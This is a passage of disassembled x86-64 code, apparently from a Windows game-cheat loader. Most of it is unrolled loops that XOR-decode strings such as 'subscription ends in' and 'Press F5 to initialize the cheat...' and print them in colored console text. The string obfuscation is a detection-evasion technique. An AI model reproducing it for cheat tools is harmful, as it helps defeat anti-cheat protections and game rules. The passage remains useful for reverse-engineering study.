movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15a9], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15aa], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ab], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ac], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ad], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ae], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15af], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15b0], al
movsx eax, byte [rsp + 0x15a8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n__Your
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15b1], al
lea rax, [rsp + 0x15b2]
lea rax, [rsp + 0x15b2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x390], 0
jmp 0x14004fffe
mov rax, qword [rsp + 0x390]
inc rax
mov qword [rsp + 0x390], rax
cmp qword [rsp + 0x390], 9
jae 0x140050068
mov rax, qword [rsp + 0x390]
lea rax, [rsp + rax + 0x15a9]
mov qword [rsp + 0xe18], rax
mov rax, qword [rsp + 0xe18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15a8]
xor eax, ecx
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0x390]
lea rax, [rsp + rax + 0x15a9]
mov qword [rsp + 0xe20], rax
mov rax, qword [rsp + 0xe20]
mov cl, byte [rsp + 0xc5]
mov byte [rax], cl
jmp 0x14004ffeb
mov eax, 9
imul rax, rax, 1
lea rax, [rsp + rax + 0x15a9]
mov qword [rsp + 0xe28], rax
mov rax, qword [rsp + 0xe28]
mov byte [rax], 0
lea rax, [rsp + 0x15a9]
mov qword [rsp + 0xe30], rax
mov rdx, qword [rsp + 0xe30]
lea rcx, [rsp + 0x1c30]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1c30]
call fcn.140029050
nop
lea rcx, [rsp + 0x1c30]
call fcn.140004e6c
mov dx, 0xe
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x14d0], 0x7d
movsx eax, byte [rsp + 0x14d0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.name
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14d1], al
movsx eax, byte [rsp + 0x14d0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.name
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14d2], al
movsx eax, byte [rsp + 0x14d0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.name
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14d3], al
movsx eax, byte [rsp + 0x14d0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.name
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14d4], al
lea rax, [rsp + 0x14d5]
lea rax, [rsp + 0x14d5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x398], 0
jmp 0x1400501c5
mov rax, qword [rsp + 0x398]
inc rax
mov qword [rsp + 0x398], rax
cmp qword [rsp + 0x398], 4
jae 0x14005022f
mov rax, qword [rsp + 0x398]
lea rax, [rsp + rax + 0x14d1]
mov qword [rsp + 0xe38], rax
mov rax, qword [rsp + 0xe38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d0]
xor eax, ecx
mov byte [rsp + 0xc6], al
mov rax, qword [rsp + 0x398]
lea rax, [rsp + rax + 0x14d1]
mov qword [rsp + 0xe40], rax
mov rax, qword [rsp + 0xe40]
mov cl, byte [rsp + 0xc6]
mov byte [rax], cl
jmp 0x1400501b2
mov eax, 4
imul rax, rax, 1
lea rax, [rsp + rax + 0x14d1]
mov qword [rsp + 0xe48], rax
mov rax, qword [rsp + 0xe48]
mov byte [rax], 0
lea rax, [rsp + 0x14d1]
mov qword [rsp + 0xe68], rax
mov byte [rsp + 0x14a8], 0x52
movsx eax, byte [rsp + 0x14a8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3c2c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14a9], al
movsx eax, byte [rsp + 0x14a8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3c2c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14aa], al
movsx eax, byte [rsp + 0x14a8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3c2c]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14ab], al
lea rax, [rsp + 0x14ac]
lea rax, [rsp + 0x14ac]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3a0], 0
jmp 0x14005031d
mov rax, qword [rsp + 0x3a0]
inc rax
mov qword [rsp + 0x3a0], rax
cmp qword [rsp + 0x3a0], 3
jae 0x140050387
mov rax, qword [rsp + 0x3a0]
lea rax, [rsp + rax + 0x14a9]
mov qword [rsp + 0xe50], rax
mov rax, qword [rsp + 0xe50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a8]
xor eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0x3a0]
lea rax, [rsp + rax + 0x14a9]
mov qword [rsp + 0xe58], rax
mov rax, qword [rsp + 0xe58]
mov cl, byte [rsp + 0xc7]
mov byte [rax], cl
jmp 0x14005030a
mov eax, 3
imul rax, rax, 1
lea rax, [rsp + rax + 0x14a9]
mov qword [rsp + 0xe60], rax
mov rax, qword [rsp + 0xe60]
mov byte [rax], 0
lea rax, [rsp + 0x14a9]
mov qword [rsp + 0xe70], rax
mov rdx, qword [rsp + 0xe68]
lea rcx, [rsp + 0x1d90]
call fcn.1400609e0
mov rcx, rax
call fcn.140052a48
mov rdx, rax
mov rcx, qword [rsp + 0xe70]
call fcn.140005fa4
mov dx, 0xb
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x1678], 0x1e
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1679], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167a], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167b], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167c], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167d], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167e], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x167f], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1680], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1681], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1682], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1683], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1684], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1685], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1686], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1687], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1688], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1689], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x168a], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x168b], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x168c], al
movsx eax, byte [rsp + 0x1678]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.subscription_ends_in
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x168d], al
lea rax, [rsp + 0x168e]
lea rax, [rsp + 0x168e]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3a8], 0
jmp 0x140050772
mov rax, qword [rsp + 0x3a8]
inc rax
mov qword [rsp + 0x3a8], rax
cmp qword [rsp + 0x3a8], 0x15
jae 0x1400507dc
mov rax, qword [rsp + 0x3a8]
lea rax, [rsp + rax + 0x1679]
mov qword [rsp + 0xe78], rax
mov rax, qword [rsp + 0xe78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1678]
xor eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x3a8]
lea rax, [rsp + rax + 0x1679]
mov qword [rsp + 0xe80], rax
mov rax, qword [rsp + 0xe80]
mov cl, byte [rsp + 0xc8]
mov byte [rax], cl
jmp 0x14005075f
mov eax, 0x15
imul rax, rax, 1
lea rax, [rsp + rax + 0x1679]
mov qword [rsp + 0xe88], rax
mov rax, qword [rsp + 0xe88]
mov byte [rax], 0
lea rax, [rsp + 0x1679]
mov qword [rsp + 0xe90], rax
mov rdx, qword [rsp + 0xe90]
lea rcx, [rsp + 0x1c50]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1c50]
call fcn.140029050
nop
lea rcx, [rsp + 0x1c50]
call fcn.140004e6c
mov dx, 0xe
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x14b0], 0x54
movsx eax, byte [rsp + 0x14b0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3c44]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14b1], al
movsx eax, byte [rsp + 0x14b0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3c44]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14b2], al
movsx eax, byte [rsp + 0x14b0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3c44]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14b3], al
lea rax, [rsp + 0x14b4]
lea rax, [rsp + 0x14b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3b0], 0
jmp 0x140050912
mov rax, qword [rsp + 0x3b0]
inc rax
mov qword [rsp + 0x3b0], rax
cmp qword [rsp + 0x3b0], 3
jae 0x14005097c
mov rax, qword [rsp + 0x3b0]
lea rax, [rsp + rax + 0x14b1]
mov qword [rsp + 0xe98], rax
mov rax, qword [rsp + 0xe98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b0]
xor eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x3b0]
lea rax, [rsp + rax + 0x14b1]
mov qword [rsp + 0xea0], rax
mov rax, qword [rsp + 0xea0]
mov cl, byte [rsp + 0xc9]
mov byte [rax], cl
jmp 0x1400508ff
mov eax, 3
imul rax, rax, 1
lea rax, [rsp + rax + 0x14b1]
mov qword [rsp + 0xea8], rax
mov rax, qword [rsp + 0xea8]
mov byte [rax], 0
lea rax, [rsp + 0x14b1]
mov qword [rsp + 0xeb0], rax
lea rcx, [rsp + 0x1a50]
call fcn.140004df4
mov rdx, rax
mov rcx, qword [rsp + 0xeb0]
call fcn.140005fa4
mov dx, 0xb
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x15b8], 0x56
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15b9], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ba], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15bb], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15bc], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15bd], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15be], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15bf], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15c0], al
movsx eax, byte [rsp + 0x15b8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.days__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15c1], al
lea rax, [rsp + 0x15c2]
lea rax, [rsp + 0x15c2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x3b8], 0
jmp 0x140050b83
mov rax, qword [rsp + 0x3b8]
inc rax
mov qword [rsp + 0x3b8], rax
cmp qword [rsp + 0x3b8], 9
jae 0x140050bed
mov rax, qword [rsp + 0x3b8]
lea rax, [rsp + rax + 0x15b9]
mov qword [rsp + 0xeb8], rax
mov rax, qword [rsp + 0xeb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15b8]
xor eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x3b8]
lea rax, [rsp + rax + 0x15b9]
mov qword [rsp + 0xec0], rax
mov rax, qword [rsp + 0xec0]
mov cl, byte [rsp + 0xca]
mov byte [rax], cl
jmp 0x140050b70
mov eax, 9
imul rax, rax, 1
lea rax, [rsp + rax + 0x15b9]
mov qword [rsp + 0xec8], rax
mov rax, qword [rsp + 0xec8]
mov byte [rax], 0
lea rax, [rsp + 0x15b9]
mov qword [rsp + 0xed0], rax
mov rdx, qword [rsp + 0xed0]
lea rcx, [rsp + 0x1a10]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1a10]
call fcn.140029050
nop
lea rcx, [rsp + 0x1a10]
call fcn.140004e6c
mov byte [rsp + 0x1800], 0x19
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1801], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1802], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1803], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1804], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1805], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1806], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1807], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1808], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1809], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180a], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180b], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180c], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180d], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180e], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x180f], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1810], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1811], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1812], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1813], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1814], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1815], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1816], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1817], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1818], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1819], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181a], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181b], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181c], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181d], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181e], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x181f], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1820], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1821], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1822], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1823], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1824], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1825], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1826], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1827], al
movsx eax, byte [rsp + 0x1800]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str._n__Press_F5_to_initialize_the_cheat..._n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1828], al
